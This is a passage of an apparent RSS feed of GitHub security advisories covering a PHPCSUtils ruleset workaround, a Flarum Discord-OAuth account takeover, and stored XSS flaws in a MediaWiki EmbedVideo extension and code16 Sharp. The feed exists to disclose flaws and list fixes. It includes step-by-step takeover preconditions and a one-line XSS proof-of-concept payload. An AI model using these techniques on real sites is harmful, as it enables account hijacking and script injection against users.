&amp;lt;&lt;span class=&quot;pl-ent&quot;&gt;exclude&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;name&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;Universal.Arrays.DuplicateArrayKey&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;/&amp;gt;
&amp;lt;&lt;span class=&quot;pl-ent&quot;&gt;exclude&lt;/span&gt; &lt;span class=&quot;pl-e&quot;&gt;name&lt;/span&gt;=&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;Universal.Arrays.MixedArrayKeyTypes&lt;span class=&quot;pl-pds&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;/&amp;gt;
&amp;lt;/&lt;span class=&quot;pl-ent&quot;&gt;rule&lt;/span&gt;&amp;gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;To verify that the sniffs have been disabled, run PHPCS with the &lt;code class=&quot;notranslate&quot;&gt;-e&lt;/code&gt; flag, which lists all the sniffs a standard will run. The excluded sniffs should no longer appear in the output:&lt;/p&gt;
&lt;pre class=&quot;notranslate&quot;&gt;&lt;code class=&quot;notranslate&quot;&gt;phpcs -e --standard=/path/to/ruleset.xml
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Credits&lt;/h3&gt;
&lt;p&gt;Many thanks to &lt;a href=&quot;https://github.com/rodrigoprimo&quot;&gt;@rodrigoprimo&lt;/a&gt; for responsibly disclosing this vulnerability.&lt;/p&gt;
&lt;h3&gt;How can I report a security bug?&lt;/h3&gt;
&lt;p&gt;Please report security vulnerabilities privately via &lt;a href=&quot;https://github.com/PHPCSStandards/PHPCSUtils/security&quot;&gt;the &quot;Security and quality&quot; tab on the PHPCSUtils repository&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;References&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a title=&quot;GHSA-r6hr-vr92-vv28&quot; href=&quot;https://github.com/PHPCSStandards/PHPCSUtils/security/advisories/GHSA-r6hr-vr92-vv28&quot;&gt;GHSA-r6hr-vr92-vv28&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&quot;issue-link js-issue-link&quot; data-error-text=&quot;Failed to load title&quot; data-id=&quot;4986789662&quot; data-permission-text=&quot;Title is private&quot; data-url=&quot;https://github.com/PHPCSStandards/PHPCSUtils/issues/778&quot; data-hovercard-type=&quot;pull_request&quot; data-hovercard-url=&quot;/PHPCSStandards/PHPCSUtils/pull/778/hovercard&quot; href=&quot;https://github.com/PHPCSStandards/PHPCSUtils/pull/778&quot;&gt;PHPCSStandards/PHPCSUtils#778&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/PHPCSStandards/PHPCSUtils/commit/9f596b50ea4498ea57b8cb341e920233b044debf/hovercard&quot; href=&quot;https://github.com/PHPCSStandards/PHPCSUtils/commit/9f596b50ea4498ea57b8cb341e920233b044debf&quot;&gt;PHPCSStandards/PHPCSUtils@&lt;tt&gt;9f596b5&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/FriendsOfPHP/security-advisories/blob/master/phpcsstandards/phpcsutils/CVE-2026-65954.yaml&quot;&gt;https://github.com/FriendsOfPHP/security-advisories/blob/master/phpcsstandards/phpcsutils/CVE-2026-65954.yaml&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
  </description><link>https://github.com/advisories/GHSA-r6hr-vr92-vv28</link><guid isPermaLink="false">https://github.com/advisories/GHSA-r6hr-vr92-vv28</guid><pubDate>Tue, 29 Sep 2026 17:57:16 GMT</pubDate></item><item><title>FriendsOfFlarum OAuth: Unauthenticated account takeover via unverified email trust in Discord OAuth provider</title><description>&lt;h3&gt;Impact&lt;/h3&gt;
&lt;p&gt;An unauthenticated account takeover vulnerability exists in &lt;code class=&quot;notranslate&quot;&gt;fof/oauth&lt;/code&gt; when the Discord OAuth provider is enabled.&lt;/p&gt;
&lt;p&gt;Discord allows an account to use an unverified email address when its phone number has been verified. During OAuth authentication, Discord may return that email address with &lt;code class=&quot;notranslate&quot;&gt;&quot;verified&quot;: false&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Affected versions of &lt;code class=&quot;notranslate&quot;&gt;fof/oauth&lt;/code&gt; did not validate this flag and passed the email address to Flarum core as trusted via &lt;code class=&quot;notranslate&quot;&gt;provideTrustedEmail()&lt;/code&gt;. Flarum core could then match the trusted email address to an existing user, link the attacker-controlled Discord identity to that user, and authenticate the attacker as the victim.&lt;/p&gt;
&lt;p&gt;An attacker who knows a user&#39;s email address can therefore take over the corresponding Flarum account without knowing its password or requiring any interaction from the victim. This includes administrator accounts.&lt;/p&gt;
&lt;h4&gt;Preconditions for exploitation&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;Discord sign-in is enabled on the forum.&lt;/li&gt;
&lt;li&gt;The victim has a Flarum account with a known email address.&lt;/li&gt;
&lt;li&gt;The victim&#39;s email address is not already associated with a Discord account.&lt;/li&gt;
&lt;li&gt;The attacker creates or configures a Discord account using the victim&#39;s email address without verifying it and verifies a phone number instead.&lt;/li&gt;
&lt;li&gt;The attacker authenticates to the forum using that Discord account.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The issue is specific to Discord&#39;s ability to return an unverified email address through OAuth. Other bundled providers were not confirmed to be practically exploitable through the same method because they only return verified or confirmed email addresses in the relevant authentication flow.&lt;/p&gt;
&lt;h3&gt;Patched Versions&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/FriendsOfFlarum/oauth/releases/tag/1.7.4&quot;&gt;1.7.4&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/FriendsOfFlarum/oauth/releases/tag/2.0.0-beta.4&quot;&gt;2.0.0-beta.4&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Workarounds&lt;/h3&gt;
&lt;p&gt;Administrators who cannot update immediately should disable the Discord OAuth provider in the extension settings.&lt;/p&gt;
&lt;h3&gt;Credits&lt;/h3&gt;
&lt;p&gt;Reported by &lt;a class=&quot;user-mention notranslate&quot; data-hovercard-type=&quot;user&quot; data-hovercard-url=&quot;/users/faran1512/hovercard&quot; data-octo-click=&quot;hovercard-link-click&quot; data-octo-dimensions=&quot;link_type:self&quot; href=&quot;https://github.com/faran1512&quot;&gt;@faran1512&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;References&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a title=&quot;GHSA-g7vj-c29h-3h5m&quot; href=&quot;https://github.com/FriendsOfFlarum/oauth/security/advisories/GHSA-g7vj-c29h-3h5m&quot;&gt;GHSA-g7vj-c29h-3h5m&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/FriendsOfFlarum/oauth/commit/baca3466b3b7be51c70a7e0ba966901aefeb344a/hovercard&quot; href=&quot;https://github.com/FriendsOfFlarum/oauth/commit/baca3466b3b7be51c70a7e0ba966901aefeb344a&quot;&gt;FriendsOfFlarum/oauth@&lt;tt&gt;baca346&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/FriendsOfFlarum/oauth/commit/bb4bf376832e6bb68c579715d2a4b5a92c4a2567/hovercard&quot; href=&quot;https://github.com/FriendsOfFlarum/oauth/commit/bb4bf376832e6bb68c579715d2a4b5a92c4a2567&quot;&gt;FriendsOfFlarum/oauth@&lt;tt&gt;bb4bf37&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/FriendsOfFlarum/oauth/releases/tag/1.7.4&quot;&gt;https://github.com/FriendsOfFlarum/oauth/releases/tag/1.7.4&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/FriendsOfFlarum/oauth/releases/tag/2.0.0-beta.4&quot;&gt;https://github.com/FriendsOfFlarum/oauth/releases/tag/2.0.0-beta.4&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-92161&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2026-92161&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
  </description><link>https://github.com/advisories/GHSA-g7vj-c29h-3h5m</link><guid isPermaLink="false">https://github.com/advisories/GHSA-g7vj-c29h-3h5m</guid><pubDate>Fri, 25 Sep 2026 15:55:07 GMT</pubDate></item><item><title>Mediawiki EmbedVideo Extension has stored XSS via malformed src url with $wgEmbedVideoRequireConsent disabled</title><description>&lt;h3&gt;Summary&lt;/h3&gt;
&lt;p&gt;With $wgEmbedVideoRequireConsent disabled (not the default), the urls for videos are passed into an iframe src attribute without sanitization. When given a malformed url or id, the src attribute can be escaped via double quotes, allowing for html/javascript injection.&lt;/p&gt;
&lt;h3&gt;Details&lt;/h3&gt;
&lt;p&gt;The iframe assembled &lt;a href=&quot;https://github.com/StarCitizenWiki/mediawiki-extensions-EmbedVideo/blob/a573a16d925ee0ea0d34b360856dc8ab0b88f822/includes/EmbedService/EmbedHtmlFormatter.php#L204-L208&quot;&gt;here&lt;/a&gt; adds the url from &lt;code class=&quot;notranslate&quot;&gt;getUrl()&lt;/code&gt; as the src without sanitization.&lt;br&gt;
The id regex for the archiveorg service and the url regexes for the wistia and sharepoint services allow for double quotes to be introduced.&lt;/p&gt;
&lt;h3&gt;PoC&lt;/h3&gt;
&lt;p&gt;Using double quotes, the src attribute can be escaped.&lt;/p&gt;
&lt;pre class=&quot;notranslate&quot;&gt;&lt;code class=&quot;notranslate&quot;&gt;&amp;lt;embedvideo service=&quot;archiveorg&quot; id=&#39;a&quot; onmouseover=&quot;alert(document.domain)&quot; data-x=&quot;&#39;&amp;gt;&amp;lt;/embedvideo&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Impact&lt;/h3&gt;
&lt;p&gt;When $wgEmbedVideoRequireConsent = false, any user able to edit a page can inject arbitrary JavaScript into an HTML event handler attribute (e.g. onfocus) via parameter. It requires no interaction (autofires via autofocus) and executes in the wiki origin for every visitor to the page.&lt;/p&gt;
&lt;h3&gt;References&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a title=&quot;GHSA-v65j-hff3-753c&quot; href=&quot;https://github.com/StarCitizenWiki/mediawiki-extensions-EmbedVideo/security/advisories/GHSA-v65j-hff3-753c&quot;&gt;GHSA-v65j-hff3-753c&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-57440&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2026-57440&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/StarCitizenWiki/mediawiki-extensions-EmbedVideo/commit/370156335b325bb81d14d89edf0a1f2643d50a84/hovercard&quot; href=&quot;https://github.com/StarCitizenWiki/mediawiki-extensions-EmbedVideo/commit/370156335b325bb81d14d89edf0a1f2643d50a84&quot;&gt;StarCitizenWiki/mediawiki-extensions-EmbedVideo@&lt;tt&gt;3701563&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
  </description><link>https://github.com/advisories/GHSA-v65j-hff3-753c</link><guid isPermaLink="false">https://github.com/advisories/GHSA-v65j-hff3-753c</guid><pubDate>Fri, 25 Sep 2026 15:03:43 GMT</pubDate></item><item><title>code16 Sharp vulnerable to stored XSS via iframe srcdoc Attribute</title><description>&lt;h3&gt;Impact&lt;/h3&gt;
&lt;p&gt;A Stored Cross-Site Scripting (XSS) vulnerability exists in the rich text editor due to improper sanitization of the srcdoc attribute on &amp;lt;iframe&amp;gt; elements.&lt;/p&gt;
&lt;p&gt;While the underlying Symfony HtmlSanitizer correctly HTML-encodes special characters inside the attribute value (e.g., converting &amp;lt;script&amp;gt; to &amp;lt;script&amp;gt;), the HTML specification mandates that browsers automatically decode HTML entities inside attribute values before processing them. As a result, any encoded JavaScript inside a srcdoc attribute is evaluated and executed as live HTML/JS in the context of the iframe when the page is rendered.&lt;/p&gt;
&lt;p&gt;An attacker with permissions to edit an Editor field can inject malicious scripts to target other users viewing the content. Potential impacts include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Session Hijacking (stealing admin session cookies via document.cookie)&lt;/li&gt;
&lt;li&gt;Account Takeover &amp;amp; Privilege Escalation (e.g., a low-privileged editor triggering actions as an Administrator)&lt;/li&gt;
&lt;li&gt;Admin panel data theft&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Patches&lt;/h3&gt;
&lt;p&gt;The vulnerability has been patched in version v9.22.5.&lt;/p&gt;
&lt;p&gt;The fix explicitly removes srcdoc from the list of allowed iframe attributes in &lt;code class=&quot;notranslate&quot;&gt;src/Utils/Sanitization/FormatsSanitizedValue.php&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Workarounds&lt;/h3&gt;
&lt;p&gt;Users who cannot upgrade immediately can manually sanitize all content of editor fields to strip &lt;code class=&quot;notranslate&quot;&gt;srcdoc&lt;/code&gt; attributes.&lt;/p&gt;
&lt;h3&gt;References&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a title=&quot;GHSA-qxg3-46rw-79j8&quot; href=&quot;https://github.com/code16/sharp/security/advisories/GHSA-qxg3-46rw-79j8&quot;&gt;GHSA-qxg3-46rw-79j8&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-61823&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2026-61823&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/code16/sharp/commit/ec509a22c808a5bd9dfad6a0a85c92ce6f411e21/hovercard&quot; href=&quot;https://github.com/code16/sharp/commit/ec509a22c808a5bd9dfad6a0a85c92ce6f411e21&quot;&gt;code16/sharp@&lt;tt&gt;ec509a2&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
  </description><link>https://github.com/advisories/GHSA-qxg3-46rw-79j8</link><guid isPermaLink="false">https://github.com/advisories/GHSA-qxg3-46rw-79j8</guid><pubDate>Fri, 25 Sep 2026 15:02:11 GMT</pubDate></item></channel></rss>